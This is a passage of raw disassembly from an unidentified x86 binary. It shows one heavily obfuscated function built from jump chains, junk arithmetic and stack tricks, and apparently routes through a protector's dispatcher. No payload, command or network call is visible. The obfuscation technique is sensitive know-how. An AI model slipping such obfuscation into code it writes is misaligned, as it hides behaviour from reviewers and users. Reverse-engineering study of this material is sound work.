sub_581EE9+D386j pop ecx push ebx jmp loc_58E40A ; --------------------------------------------------------------------------- loc_58A069: ; CODE XREF: sub_581EE9+60F8j and edx, 3961537Bh jmp loc_58AEED ; --------------------------------------------------------------------------- loc_58A074: ; CODE XREF: sub_581EE9+697Dj pop edx push ebp push [esp-6EB6h+arg_6EB2] pop ebp jmp loc_5871A4 ; --------------------------------------------------------------------------- loc_58A080: ; CODE XREF: sub_581EE9+EA91j push small 50ACh mov word ptr [esp-6EB4h+arg_6EAC], ax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58A08D: ; DATA XREF: sub_581EE9+3C03o push 37ADh push 3997h mov [esp], esp add dword ptr [esp], 4 jmp loc_590AF3 ; --------------------------------------------------------------------------- loc_58A0A6: ; CODE XREF: sub_581EE9+CBC0j or edx, 697939F9h neg edx inc edx and edx, 1E357285h or edx, 48C57569h jmp loc_58E666 ; --------------------------------------------------------------------------- loc_58A0C0: ; CODE XREF: sub_581EE9+E717j mov al, bh pop bx add al, 7 push ebx jmp loc_58B750 ; --------------------------------------------------------------------------- loc_58A0CC: ; CODE XREF: sub_581EE9+8644j push 1222h mov [esp-6EA6h+arg_6E9E], edx push ecx mov cl, al sub esp, 4 jmp loc_58C1F6 ; --------------------------------------------------------------------------- loc_58A0DF: ; CODE XREF: sub_581EE9+A4F7j neg ah sub ah, 0ACh jmp loc_58F200 ; --------------------------------------------------------------------------- loc_58A0E9: ; CODE XREF: sub_581EE9+4429j movzx cx, ah push ebx sub esp, 4 mov [esp-6ED4h+arg_6ECA+2], esp add [esp-6ED4h+arg_6ECA+2], 4 pop ebx push ecx push 3D615E5Eh mov ecx, [esp-6ED0h+arg_6EC6+2] jmp loc_587E04 ; --------------------------------------------------------------------------- loc_58A107: ; CODE XREF: sub_581EE9+648Aj mov ebp, [esp-6EACh+arg_6EA4] add esp, 4 xchg esi, ebp push esi xchg ebx, [esp-6EACh+arg_6EA4] not ebx jmp loc_590C76 ; --------------------------------------------------------------------------- loc_58A11D: ; CODE XREF: sub_581EE9+F59Ej jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58A122: ; CODE XREF: sub_581EE9+692Fj mov [esp-6ECCh+arg_6EC2+2], ebx push esp mov ebx, [esp-6EC8h+arg_6EBE+2] add esp, 4 push 0D8Dh jmp loc_58D429 ; --------------------------------------------------------------------------- loc_58A136: ; CODE XREF: sub_581EE9+B0A7j mov esp, [esp-6EC8h+arg_6EBE+2] push edx mov edx, esp add edx, 4 push ebx jmp loc_58E703 ; --------------------------------------------------------------------------- loc_58A148: ; CODE XREF: sub_581EE9+3F77j push 215Fh mov [esp-6ED0h+arg_6EC6+2], ebp push esp jmp loc_58AE4F ; --------------------------------------------------------------------------- loc_58A156: ; CODE XREF: sub_581EE9+AEEDj add ebx, ebp sub ebx, 53DD7984h pop ebp push ebx push [esp-6ECCh+arg_6EC6+2] pop ebx pop [esp-6ECCh+arg_6EC2+2] pop esp movsx ecx, al push 2297h jmp loc_59055A ; --------------------------------------------------------------------------- loc_58A176: ; CODE XREF: sub_581EE9+B7D9j pop ebx add ah, 36h jmp loc_588484 ; --------------------------------------------------------------------------- loc_58A17F: ; CODE XREF: sub_581EE9+9B72j sub edi, 4481A680h add ecx, edi pop edi add ecx, 4 xor ecx, [esp-6ED8h+arg_6ECE+2] xor [esp-6ED8h+arg_6ECE+2], ecx xor ecx, [esp-6ED8h+arg_6ECE+2] mov esp, [esp-6ED8h+arg_6ECE+2] add ebp, 4 push 5A23h jmp loc_58AF09 ; --------------------------------------------------------------------------- loc_58A1AA: ; CODE XREF: sub_581EE9+A8EFj mov ebp, edx jmp loc_58AFAD ; --------------------------------------------------------------------------- loc_58A1B1: ; CODE XREF: sub_581EE9+F695j add [esp-6ED4h+arg_6ECA+2], 49255AF8h jmp loc_586E87 ; --------------------------------------------------------------------------- loc_58A1BD: ; CODE XREF: sub_581EE9+53EDj pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] movsx cx, al push small 6B06h mov word ptr [esp-6EECh+arg_6EE4], cx jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58A1DB: ; CODE XREF: sub_581EE9+A7AEj xor ah, 36h mov bh, ah pop eax sub al, bh pop ebx mov dx, word ptr [esp-6EF4h+arg_6EEC] push ebp mov ebp, esp jmp loc_58D9BB ; --------------------------------------------------------------------------- loc_58A1F0: ; CODE XREF: sub_581EE9+B7AAj push ecx mov cl, 8Eh mov al, 2Dh add al, cl pop ecx not al sub al, 0F6h and al, 0AAh add al, 0F9h mov dl, al pop eax jmp loc_58A3E1 ; --------------------------------------------------------------------------- loc_58A208: ; CODE XREF: sub_581EE9+75C3j xchg ebx, [esp-6ED2h+arg_6ECA] pop esp mov word ptr [esp-6ED6h+arg_6ECE], cx movzx cx, al push cx pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58A21C: ; CODE XREF: sub_581EE9+DF18j add esp, 4 push esi mov esi, 47B40E6h sub [esp-6ED0h+arg_6ECA+2], esi push [esp-6ED0h+arg_6EC6+2] pop esi push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 jmp loc_58C227 ; --------------------------------------------------------------------------- loc_58A241: ; CODE XREF: sub_581EE9+A810j push cx jmp loc_58DC87 ; --------------------------------------------------------------------------- loc_58A248: ; CODE XREF: sub_581EE9+9140j push 56D67DA3h mov ebp, [esp-6EC2h+arg_6EBA] add esp, 4 shr ebp, 2 push edi mov edi, 2AAA7EEBh or ebp, edi jmp loc_58CA9C ; --------------------------------------------------------------------------- loc_58A263: ; CODE XREF: sub_581EE9+A152j or ah, 84h and ah, 0D8h push ebx mov bl, 8Fh inc bl xor bl, 0B6h xor ah, bl pop ebx sub ah, 18h xor ah, 0ADh mov bl, ah pop eax push dx mov dh, 0A9h sub bl, dh mov dx, word ptr [esp-6EC4h+arg_6EBA+2] add esp, 2 add bl, 0FFh push dx mov dl, 91h jmp loc_58881D ; --------------------------------------------------------------------------- loc_58A299: ; CODE XREF: sub_581EE9+ADF2j mov ebp, [esp-6EC6h+arg_6EBE] jmp loc_58BBA2 ; --------------------------------------------------------------------------- loc_58A2A1: ; CODE XREF: sub_581EE9+A109j mov [esp-6EC6h+arg_6EBE], edx jmp loc_5900AE ; --------------------------------------------------------------------------- loc_58A2A9: ; CODE XREF: sub_581EE9+95A9j and eax, ebx push [esp-6EC6h+arg_6EBE] jmp loc_58AEA0 ; --------------------------------------------------------------------------- loc_58A2B3: ; CODE XREF: sub_581EE9+5DA0j push ebx jmp loc_5865B8 ; --------------------------------------------------------------------------- loc_58A2B9: ; CODE XREF: sub_581EE9+DB1Ej pop bx xor bl, al movzx eax, al lea eax, [edi+eax*4] push 6588h mov [esp-6EC0h+arg_6EB6+2], ebp jmp loc_58B34B ; --------------------------------------------------------------------------- loc_58A2D0: ; CODE XREF: sub_581EE9+D1F3j dec ah jmp loc_58C694 ; --------------------------------------------------------------------------- loc_58A2D7: ; CODE XREF: sub_581EE9+F2C1j add esp, 4 push edi jmp loc_58EAD9 ; --------------------------------------------------------------------------- loc_58A2E3: ; CODE XREF: sub_581EE9+644Bj add ebp, 4 add ebp, 4 xchg ebp, [esp-6EC8h+arg_6EBE+2] pop esp push 293Fh mov [esp-6EC8h+arg_6EBE+2], eax jmp loc_58849C ; --------------------------------------------------------------------------- loc_58A300: ; CODE XREF: sub_581EE9+E151j mov ebp, ebx jmp loc_58DE3B ; --------------------------------------------------------------------------- lodsb jmp loc_589F06 ; --------------------------------------------------------------------------- loc_58A30D: ; CODE XREF: sub_581EE9+54D2j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58A312: ; DATA XREF: sub_581EE9+3BABo mov ax, word ptr [esp-6EB6h+arg_6EAC+2] push eax push esp pop eax jmp loc_58CEA8 ; --------------------------------------------------------------------------- loc_58A31E: ; CODE XREF: sub_581EE9+489Fj add esi, ebp add esi, 5E376DAh pop ebp xchg esi, [esp-6EFAh+arg_6EF0+2] mov esp, [esp-6EFAh+arg_6EF0+2] jmp loc_58D336 ; --------------------------------------------------------------------------- loc_58A332: ; CODE XREF: sub_581EE9+78F2j sub eax, esi jmp loc_587B62 ; --------------------------------------------------------------------------- loc_58A339: ; CODE XREF: sub_581EE9+53FEj pop [esp-6EEEh+arg_6EE4+2] push edx not [esp-6EEEh+arg_6EE4+2] pop edx jmp loc_58C27E ; --------------------------------------------------------------------------- loc_58A346: ; CODE XREF: sub_581EE9+A9E6j mov eax, 72A14946h jmp loc_587616 ; --------------------------------------------------------------------------- loc_58A350: ; CODE XREF: sub_581EE9+A81Dj pop edi mov esi, eax pop eax sub esi, edi pop edi push ebx jmp loc_591C0A ; --------------------------------------------------------------------------- loc_58A35D: ; CODE XREF: sub_581EE9+CBEBj xor edi, [esp-6EFAh+arg_6EF0+2] mov esp, [esp-6EFAh+arg_6EF0+2] push 74D0h mov [esp-6EF6h+arg_6EEC+2], ebx mov ebx, 8107520h sub ebx, 1 push 3AE4h mov [esp-6EF2h+arg_6EE8+2], edi mov edi, 75462238h shl edi, 4 jmp loc_591B75 ; --------------------------------------------------------------------------- push [esp-6EF2h+arg_6EE8+2] jmp loc_591AD2 ; --------------------------------------------------------------------------- loc_58A390: ; CODE XREF: sub_581EE9+947Bj mov [esp-6EEEh+arg_6EE4+2], eax mov eax, 167B4A4Eh push edx mov edx, 4AD604F8h push eax jmp loc_586D7E ; --------------------------------------------------------------------------- loc_58A3A4: ; CODE XREF: sub_581EE9+C1BFj jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58A3A9: ; CODE XREF: sub_581EE9+88E6j pop ecx add ecx, ebp jmp loc_58AF99 ; --------------------------------------------------------------------------- loc_58A3B1: ; CODE XREF: sub_581EE9+E5ECj xor ebx, 5651544Ah neg ebx push edi mov edi, 66A90E55h neg edi jmp loc_588E1B ; --------------------------------------------------------------------------- loc_58A3C6: ; CODE XREF: sub_581EE9+F6CBj add [esp-6EE6h+arg_6EE0+2], ebp pop ebp mov esi, [esp-6EEAh+arg_6EE0+2] add esp, 4 push edi jmp loc_58B968 ; --------------------------------------------------------------------------- loc_58A3DA: ; CODE XREF: sub_581EE9+5CC2j sub al, cl jmp loc_5886F5 ; --------------------------------------------------------------------------- loc_58A3E1: ; CODE XREF: sub_581EE9+831Aj or dl, 93h xor dl, 20h add dl, 44h shr dl, 3 jmp loc_58DC11 ; --------------------------------------------------------------------------- loc_58A3F2: ; CODE XREF: sub_581EE9+CFE9j add esp, 4 push ebx mov ebx, 24h add ebx, edi add [ebx], edx mov ebx, [esp-6EF4h+arg_6EEC] add esp, 4 mov edx, [esp-6EF8h+arg_6EF0] jmp loc_588C53 ; --------------------------------------------------------------------------- loc_58A40D: ; DATA XREF: sub_581EE9+3B37o lodsd jmp loc_587878 ; --------------------------------------------------------------------------- loc_58A413: ; CODE XREF: sub_581EE9+9FF9j pop esp jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58A419: ; CODE XREF: sub_581EE9+B320j sub ebx, 5EC70940h sub ebx, 162C031Dh sub ebx, 49555767h jmp loc_58BB33 ; --------------------------------------------------------------------------- loc_58A430: ; CODE XREF: sub_581EE9+807Fj not [esp-6EB2h+arg_6EA8+2] pop esi jmp loc_58E1CB ; --------------------------------------------------------------------------- loc_58A439: ; CODE XREF: sub_581EE9+985Cj sub edx, 6C2635ACh sub edx, 3CF407ABh sub eax, edx pop edx add edx, eax pop eax add edx, 4 xor edx, [esp-6EBEh+arg_6EB6] xor [esp-6EBEh+arg_6EB6], edx xor edx, [esp-6EBEh+arg_6EB6] mov esp, [esp-6EBEh+arg_6EB6] xor eax, 3AF271C6h sub esp, 4 jmp loc_591461 ; --------------------------------------------------------------------------- loc_58A46A: ; CODE XREF: sub_581EE9+5D7Aj mov edx, 6EC7404Ah jmp loc_591B30 ; --------------------------------------------------------------------------- loc_58A474: ; CODE XREF: sub_581EE9+620Ej xor eax, 63E465A1h jmp loc_589292 ; --------------------------------------------------------------------------- loc_58A47E: ; CODE XREF: sub_581EE9+D267j push [esp-6EC2h+arg_6EBA] jmp loc_58B79C ; --------------------------------------------------------------------------- loc_58A486: ; CODE XREF: sub_581EE9+7ADDj pop ebp jmp loc_589096 ; --------------------------------------------------------------------------- loc_58A48C: ; CODE XREF: sub_581EE9+7AABj push edx jmp loc_58D9A7 ; --------------------------------------------------------------------------- loc_58A492: ; CODE XREF: sub_581EE9+CE74j push ebp push esp pop ebp jmp loc_58CFF2 ; --------------------------------------------------------------------------- loc_58A49A: ; CODE XREF: sub_581EE9+B440j add bl, 81h push cx jmp loc_58DD95 ; --------------------------------------------------------------------------- loc_58A4A4: ; CODE XREF: sub_581EE9+9A20j sub ecx, 70490A52h neg ecx sub ecx, 19A577Ah jmp loc_58CB20 ; --------------------------------------------------------------------------- loc_58A4B7: ; CODE XREF: sub_581EE9+8B9Ej add ecx, edi jmp loc_58EC91 ; --------------------------------------------------------------------------- loc_58A4BE: ; CODE XREF: sub_581EE9+AE51j mov edx, 19936E1Fh jmp loc_58AB84 ; --------------------------------------------------------------------------- loc_58A4C8: ; CODE XREF: sub_581EE9+ECE2j add edx, 40468B7Ch add esi, edx pop edx pop eax jmp loc_586599 ; --------------------------------------------------------------------------- loc_58A4D7: ; CODE XREF: sub_581EE9+475Aj mov ebx, 4F22831h jmp loc_5919D8 ; --------------------------------------------------------------------------- loc_58A4E1: ; CODE XREF: sub_581EE9+8698j mov ecx, [esp-6EFAh+arg_6EF0+2] push edx mov edx, esp push 53CBh mov [esp-6EF2h+arg_6EE8+2], ebp sub esp, 4 mov [esp], edx push 2943407Bh pop edx push esi mov esi, 51D85F7Ah jmp loc_5894E4 ; --------------------------------------------------------------------------- loc_58A509: ; CODE XREF: sub_581EE9+D829j mov [esp-6EEAh+arg_6EE0+2], eax xchg eax, [esp-6EEAh+arg_6EE0+2] push eax push edx push [esp-6EE2h+arg_6EDC+2] jmp loc_5872E6 ; --------------------------------------------------------------------------- loc_58A51A: ; CODE XREF: sub_581EE9+B510j push ecx push [esp-6EDAh+arg_6ED2] jmp loc_5900BB ; --------------------------------------------------------------------------- loc_58A523: ; CODE XREF: sub_581EE9+9B4Cj mov al, 75h xor al, 0C7h xor al, 93h add bl, al pop eax pop ecx jmp loc_58A0CC ; --------------------------------------------------------------------------- loc_58A532: ; CODE XREF: sub_581EE9+CA88j mov esi, 1FD76AADh neg esi sub esi, 0E2C3C2D4h sub ebx, esi pop esi push edi mov edi, 36A94065h add esi, edi pop edi add esi, ebx sub esi, 36A94065h mov ebx, [esp+0] add esp, 4 xchg esi, [esp-6EE6h+arg_6EDC+2] mov esp, [esp-6EE6h+arg_6EDC+2] jmp loc_591753 ; --------------------------------------------------------------------------- loc_58A564: ; CODE XREF: sub_581EE9+6EE1j mov ebp, 4 add edi, 4396022Bh add edi, ebp sub edi, 4396022Bh pop ebp xchg edi, [esp-6ECAh+arg_6EC2] mov esp, [esp-6ECAh+arg_6EC2] push dword ptr [edi+1Ch] jmp loc_58A4E1 ; --------------------------------------------------------------------------- loc_58A586: ; CODE XREF: sub_581EE9+E0E8j mov eax, esp jmp loc_5914B3 ; --------------------------------------------------------------------------- loc_58A58D: ; CODE XREF: sub_581EE9+C429j push edi jmp loc_58AD72 ; --------------------------------------------------------------------------- loc_58A593: ; CODE XREF: sub_581EE9+8F73j neg ebp sub ebp, 0DD0643FAh or ecx, ebp pop ebp shr ecx, 3 jmp loc_591346 ; --------------------------------------------------------------------------- loc_58A5A6: ; CODE XREF: sub_581EE9+80D9j push 397Fh mov [esp-6EC0h+arg_6EB6+2], ecx push eax push 5EAD4068h pop eax xor eax, 5EAD4268h mov ecx, eax mov eax, [esp-6EBCh+arg_6EB2+2] add esp, 4 and eax, ecx push [esp-6EC0h+arg_6EB6+2] mov ecx, [esp-6EBCh+arg_6EB2+2] add esp, 4 push edi mov edi, esp jmp loc_588DBC ; --------------------------------------------------------------------------- loc_58A5DB: ; CODE XREF: sub_581EE9+6342j or ebp, 21334907h shr ebp, 2 jmp loc_59190D ; --------------------------------------------------------------------------- loc_58A5E9: ; CODE XREF: sub_581EE9+4FF8j push cx mov ch, 2Ah add al, ch mov cx, [esp-6EAAh+arg_6EA2] push ecx jmp loc_590636 ; --------------------------------------------------------------------------- loc_58A5F9: ; CODE XREF: sub_581EE9+9807j xor edi, ebx mov ebx, [esp-6EA6h+arg_6E9E] add esp, 4 jmp loc_590285 ; --------------------------------------------------------------------------- loc_58A609: ; CODE XREF: sub_581EE9+C31Aj sub cl, 1 dec cl shr cl, 1 shr cl, 4 inc cl jmp loc_58B095 ; --------------------------------------------------------------------------- loc_58A61A: ; CODE XREF: sub_581EE9+7BE3j shr dh, 2 xor dh, 7Dh jmp loc_58DD44 ; --------------------------------------------------------------------------- loc_58A625: ; CODE XREF: sub_581EE9+B612j sub ecx, 4 xchg ecx, [esp-6EE0h+arg_6ED6+2] pop esp jmp loc_589C61 ; --------------------------------------------------------------------------- loc_58A634: ; CODE XREF: sub_581EE9+E692j mov ecx, 4 jmp loc_58DD27 ; --------------------------------------------------------------------------- loc_58A63E: ; CODE XREF: sub_581EE9+9191j inc esi push ecx mov ecx, 1F16723Eh jmp loc_58654B ; --------------------------------------------------------------------------- loc_58A64A: ; CODE XREF: sub_581EE9+71CEj mov [esp-6EC0h+arg_6EB6+2], ebx push ecx push ebx mov bh, 0B6h mov ch, bh pop ebx sub ch, 37h push eax mov ah, ch push ecx mov ch, ah mov bh, ch pop ecx jmp loc_58FAE4 ; --------------------------------------------------------------------------- loc_58A665: ; CODE XREF: sub_581EE9+A8DBj pop edi push ebx mov ebx, 4 add edi, ebx mov ebx, [esp+0] add esp, 4 add edi, 4 xchg edi, [esp-6EBCh+arg_6EB2+2] jmp loc_58D451 ; --------------------------------------------------------------------------- loc_58A682: ; CODE XREF: sub_581EE9+C434j pop ecx jmp loc_58DA6F ; --------------------------------------------------------------------------- loc_58A688: ; CODE XREF: sub_581EE9+5F75j mov edi, 5A5665D4h or edi, 69B1094Eh jmp loc_58FA4E ; --------------------------------------------------------------------------- loc_58A698: ; CODE XREF: sub_581EE9+5C63j add ebp, 4 sub ebp, 4 xchg ebp, [esp-6EC2h+arg_6EBA] jmp loc_58EED7 ; --------------------------------------------------------------------------- loc_58A6AC: ; CODE XREF: sub_581EE9+6819j add eax, 54C737E5h pop edx shl eax, 4 not eax push eax xor [esp-6EACh+arg_6EA4], ebx xor ebx, [esp-6EACh+arg_6EA4] xor [esp-6EACh+arg_6EA4], ebx jmp loc_58B433 ; --------------------------------------------------------------------------- loc_58A6C6: ; CODE XREF: sub_581EE9+57F4j pop ebx sub al, 0BDh add al, dl add al, 0BDh add al, 0B7h jmp loc_587C17 ; --------------------------------------------------------------------------- loc_58A6D4: ; CODE XREF: sub_581EE9+61EAj add [esp-6EBCh+arg_6EB6+2], edi pop edi push [esp-6EC0h+arg_6EB6+2] mov esi, [esp-6EBCh+arg_6EB2+2] add esp, 4 jmp loc_589EE9 ; --------------------------------------------------------------------------- loc_58A6E7: ; CODE XREF: sub_581EE9+EC81j push [esp-6EC0h+arg_6EBA+2] jmp loc_58E04B ; --------------------------------------------------------------------------- loc_58A6F0: ; DATA XREF: sub_581EE9+3D53o push 0FBFh mov [esp+0], ebx mov ebx, esp add ebx, 4 push esi mov esi, 2 sub ebx, esi pop esi push 7CC4h jmp loc_5899D3 ; --------------------------------------------------------------------------- loc_58A713: ; CODE XREF: sub_581EE9+4CF4j pop edi mov edx, eax pop eax jmp loc_58C194 ; --------------------------------------------------------------------------- loc_58A71C: ; CODE XREF: sub_581EE9+A02Aj sub ebp, eax jmp loc_586509 ; --------------------------------------------------------------------------- loc_58A723: ; CODE XREF: sub_581EE9+C43Aj sub ecx, 0E952606h jmp loc_587972 ; --------------------------------------------------------------------------- loc_58A72E: ; CODE XREF: sub_581EE9+D91Dj neg ebx not ebx dec ebx jmp loc_58AC0B ; --------------------------------------------------------------------------- loc_58A738: ; CODE XREF: sub_581EE9+D348j sub bl, 66h jmp loc_5884B9 ; --------------------------------------------------------------------------- loc_58A740: ; CODE XREF: sub_581EE9+4D0Ej pop esp push ecx jmp loc_58F608 ; --------------------------------------------------------------------------- loc_58A747: ; CODE XREF: sub_581EE9+B767j add eax, 79C7085Eh push esi push eax mov eax, 59CA0F8Ch mov esi, 16CF3C74h xor esi, eax pop eax not esi not esi xor esi, 31072B3Eh add eax, esi mov esi, [esp-6EC2h+arg_6EBA] add esp, 4 pop ecx push ecx push 37DBh mov [esp-6EC2h+arg_6EBA], edi mov edi, 3D214BB9h or edi, 27D254D4h and edi, 6EB85932h jmp loc_588BEF ; --------------------------------------------------------------------------- loc_58A790: ; CODE XREF: sub_581EE9+745Fj mov bp, 0ADEh xor bp, 318Ah add bp, 0EBAh inc bp jmp loc_5907F9 ; --------------------------------------------------------------------------- loc_58A7A5: ; CODE XREF: sub_581EE9+5A60j mov ebp, [esp-6F02h+arg_6EFA] jmp loc_587552 ; --------------------------------------------------------------------------- loc_58A7AD: ; CODE XREF: sub_581EE9+67BDj sub esp, 4 mov [esp-6EB0h+arg_6EA8], ecx push ebx mov bh, 0ADh mov ch, bh jmp loc_58D56E ; --------------------------------------------------------------------------- loc_58A7C0: ; CODE XREF: sub_581EE9+6F24j inc ebp push ecx mov ecx, 34A8353Ch xor ecx, 0EE25821Fh sub ebp, ecx jmp loc_58A3A9 ; --------------------------------------------------------------------------- loc_58A7D4: ; CODE XREF: sub_581EE9+D6C9j mov edx, 37AD4AC5h add eax, edx pop edx pop esi push ebx jmp loc_5883B9 ; --------------------------------------------------------------------------- loc_58A7E3: ; CODE XREF: sub_581EE9+618Dj sub esp, 4 jmp loc_58FA90 ; --------------------------------------------------------------------------- loc_58A7EE: ; CODE XREF: sub_581EE9+A26Fj mov edi, 68B0684Ch inc edi jmp loc_587005 ; --------------------------------------------------------------------------- loc_58A7F9: ; CODE XREF: sub_581EE9+BE7Cj not eax or eax, 1F476A9Bh jmp loc_588C7C ; --------------------------------------------------------------------------- loc_58A805: ; CODE XREF: sub_581EE9+E5B8j pop eax add edx, edi pop edi add edx, 4 sub esp, 4 mov [esp-6EC6h+arg_6EBE], edx jmp loc_58EC26 ; --------------------------------------------------------------------------- loc_58A81A: ; CODE XREF: sub_581EE9+EDBAj shl byte ptr [esp-6EC6h+arg_6EBE], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58A823: ; CODE XREF: sub_581EE9+80C7j mov [esp-6EBCh+arg_6EB2+2], ebx push esp push dword ptr [esp+0] jmp loc_58B562 ; --------------------------------------------------------------------------- loc_58A82F: ; CODE XREF: sub_581EE9+4805j pop esp or edx, eax shl edx, 1 jmp loc_58AA92 ; --------------------------------------------------------------------------- loc_58A839: ; CODE XREF: sub_581EE9+F8D4j add esp, 4 jmp loc_58C714 ; --------------------------------------------------------------------------- loc_58A841: ; CODE XREF: sub_581EE9+9824j neg ebp jmp loc_588225 ; --------------------------------------------------------------------------- loc_58A848: ; CODE XREF: sub_581EE9+6EB3j add esp, 2 add bl, 0B3h push ecx mov ch, 0F7h sub ch, 1 jmp loc_58CEAE ; --------------------------------------------------------------------------- loc_58A85C: ; CODE XREF: sub_581EE9+B8DEj add ecx, edi jmp loc_590CA8 ; --------------------------------------------------------------------------- loc_58A863: ; CODE XREF: sub_581EE9+6452j shl esi, 8 or esi, 29F95784h or esi, 16D2280Ch neg esi add esi, 4812EE90h sub ebx, esi jmp loc_5863B5 ; --------------------------------------------------------------------------- loc_58A881: ; CODE XREF: sub_581EE9+568Dj pop ebp jmp loc_58B988 ; --------------------------------------------------------------------------- loc_58A887: ; CODE XREF: sub_581EE9+D815j pop esp shr ecx, 0Ah push 1788h jmp loc_58C618 ; --------------------------------------------------------------------------- loc_58A895: ; CODE XREF: sub_581EE9+9E89j push 7C67h mov [esp-6ECAh+arg_6EC2], ecx mov ecx, 68F50719h add ecx, 15498Ch add eax, ecx mov ecx, [esp-6ECAh+arg_6EC2] add esp, 4 push 1FADh mov [esp-6ECAh+arg_6EC2], edx mov edx, 68AC25B7h jmp loc_58D394 ; --------------------------------------------------------------------------- loc_58A8C5: ; CODE XREF: sub_581EE9+D9BDj push edi mov edi, 4 add ebx, edi pop edi push 0A3Ah mov [esp-6EC6h+arg_6EBE], eax mov eax, 4 sub ebx, eax pop eax jmp loc_589702 ; --------------------------------------------------------------------------- loc_58A8E3: ; CODE XREF: sub_581EE9+6FCDj mov ebx, edx push [esp-6ECAh+arg_6EC2] mov edx, [esp-6EC6h+arg_6EBE] add esp, 4 push ebx mov ebx, esp jmp loc_589939 ; --------------------------------------------------------------------------- loc_58A8F6: ; CODE XREF: sub_581EE9+A5E7j mov esi, 4 jmp loc_58DEAE ; --------------------------------------------------------------------------- loc_58A900: ; CODE XREF: sub_581EE9+C28Dj xor eax, ebp push [esp-6EC6h+arg_6EBE] pop ebp push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-6EC2h+arg_6EBA] mov esp, [esp-6EC2h+arg_6EBA] xor ebx, eax jmp loc_58F0EF ; --------------------------------------------------------------------------- loc_58A922: ; CODE XREF: sub_581EE9+E541j mov [esp-6EC2h+arg_6EBA], ecx jmp loc_59141A ; --------------------------------------------------------------------------- loc_58A92A: ; CODE XREF: sub_581EE9+4A20j push ecx mov cl, 1 xor cl, 3Fh sub cl, 2Fh xor cl, 6Dh sub bl, 80h add bl, cl push ecx mov cl, 80h add bl, cl pop ecx pop ecx sub al, bl pop ebx sub al, dl jmp loc_58E3C7 ; --------------------------------------------------------------------------- loc_58A94C: ; CODE XREF: sub_581EE9+B666j push ebx mov bh, 0FAh shl bh, 7 not bh jmp loc_58BD77 ; --------------------------------------------------------------------------- loc_58A959: ; CODE XREF: sub_581EE9+72D1j mov esi, 64152FEAh push esi jmp loc_590F6B ; --------------------------------------------------------------------------- loc_58A964: ; CODE XREF: sub_581EE9+7089j shl ebp, 8 sub ebp, 698F6FB0h xor ebp, 94831BE7h add eax, ebp jmp loc_58F155 ; --------------------------------------------------------------------------- loc_58A97A: ; CODE XREF: sub_581EE9+E613j pop esi add ecx, 4 jmp loc_586CF2 ; --------------------------------------------------------------------------- loc_58A986: ; CODE XREF: sub_581EE9+F29Cj push ebp mov ebp, 4 add eax, ebp mov ebp, [esp-6ECCh+arg_6EC2+2] add esp, 4 jmp loc_589B5C ; --------------------------------------------------------------------------- loc_58A99C: ; CODE XREF: sub_581EE9+BA17j mov ebx, esp push edx mov edx, 63A8730Dh push 551h jmp loc_585D00 ; --------------------------------------------------------------------------- loc_58A9AE: ; CODE XREF: sub_581EE9+7FAEj or edx, 0AB314B1h neg edx inc edx not edx and edx, 124C0E2Ah jmp loc_58FE28 ; --------------------------------------------------------------------------- loc_58A9C4: ; CODE XREF: sub_581EE9+5C3Fj xor ebx, 74DC2188h jmp loc_5897BA ; --------------------------------------------------------------------------- loc_58A9CF: ; CODE XREF: sub_581EE9+76B7j mov ebx, esp jmp loc_58EB60 ; --------------------------------------------------------------------------- loc_58A9D6: ; CODE XREF: sub_581EE9+FA38j add ecx, 7F281725h add ecx, 60D8126Eh push ebx push edx mov edx, 2B6C2CE3h neg edx or edx, 4346D8Ch inc edx sub edx, 0CEA1F61Fh mov ebx, edx pop edx add ebp, ebx pop ebx add ebp, ecx push ebx mov ebx, 616097Fh jmp loc_59029B ; --------------------------------------------------------------------------- loc_58AA0B: ; CODE XREF: sub_581EE9+E0F5j push esi mov esi, 4532BEDh sub ecx, esi pop esi pop eax add ecx, 2 push ecx push [esp-6E9Ch+arg_6E96+2] mov ecx, [esp-6E98h+arg_6E8E+2] push ecx mov ecx, esp add ecx, 4 jmp loc_58FECC ; --------------------------------------------------------------------------- loc_58AA31: ; CODE XREF: sub_581EE9+C1A4j pop esp jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58AA37: ; CODE XREF: sub_581EE9+E328j mov ebp, 132EE1h sub [esp-6E98h+arg_6E92+2], ebp jmp loc_5882BC ; --------------------------------------------------------------------------- loc_58AA45: ; DATA XREF: sub_581EE9+3C1Bo mov cx, word ptr [esp-6E98h+arg_6E8E+2] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-6E94h+arg_6E8A+2] pop esp mov [esp-6E98h+arg_6E8E+2], esi jmp loc_5880C4 ; --------------------------------------------------------------------------- loc_58AA61: ; CODE XREF: sub_581EE9+5339j xor esi, [esp-6ECCh+arg_6EC2+2] jmp loc_58FB38 ; --------------------------------------------------------------------------- loc_58AA69: ; CODE XREF: sub_581EE9+EB28j pop esi xor ebx, [esp-6ED0h+arg_6EC6+2] xor [esp-6ED0h+arg_6EC6+2], ebx jmp loc_585EEE ; --------------------------------------------------------------------------- locret_58AA75: ; CODE XREF: sub_581EE9+E28Aj retn ; --------------------------------------------------------------------------- jmp loc_586B17 ; --------------------------------------------------------------------------- loc_58AA7B: ; CODE XREF: sub_581EE9+6AE4j add ecx, 82069511h add ecx, 43852C8Ah jmp loc_58A4B7 ; --------------------------------------------------------------------------- loc_58AA8C: ; CODE XREF: sub_581EE9+63ABj push ecx jmp loc_58F0A8 ; --------------------------------------------------------------------------- loc_58AA92: ; CODE XREF: sub_581EE9+894Bj push eax mov eax, 24h add eax, edi push edx push ebx jmp loc_590E31 ; --------------------------------------------------------------------------- loc_58AAA1: ; CODE XREF: sub_581EE9+D39Bj mov edx, 622E9Eh or edx, 670D7D4Dh inc edx shr edx, 6 xor edx, 32E4F279h sub eax, edx pop edx pop ebp xchg eax, [esp-6EFEh+arg_6EF6] mov esp, [esp-6EFEh+arg_6EF6] push eax mov eax, 4 and ecx, eax push [esp-6EFAh+arg_6EF0+2] mov eax, [esp-6EF6h+arg_6EEC+2] push ebx mov ebx, esp add ebx, 4 add 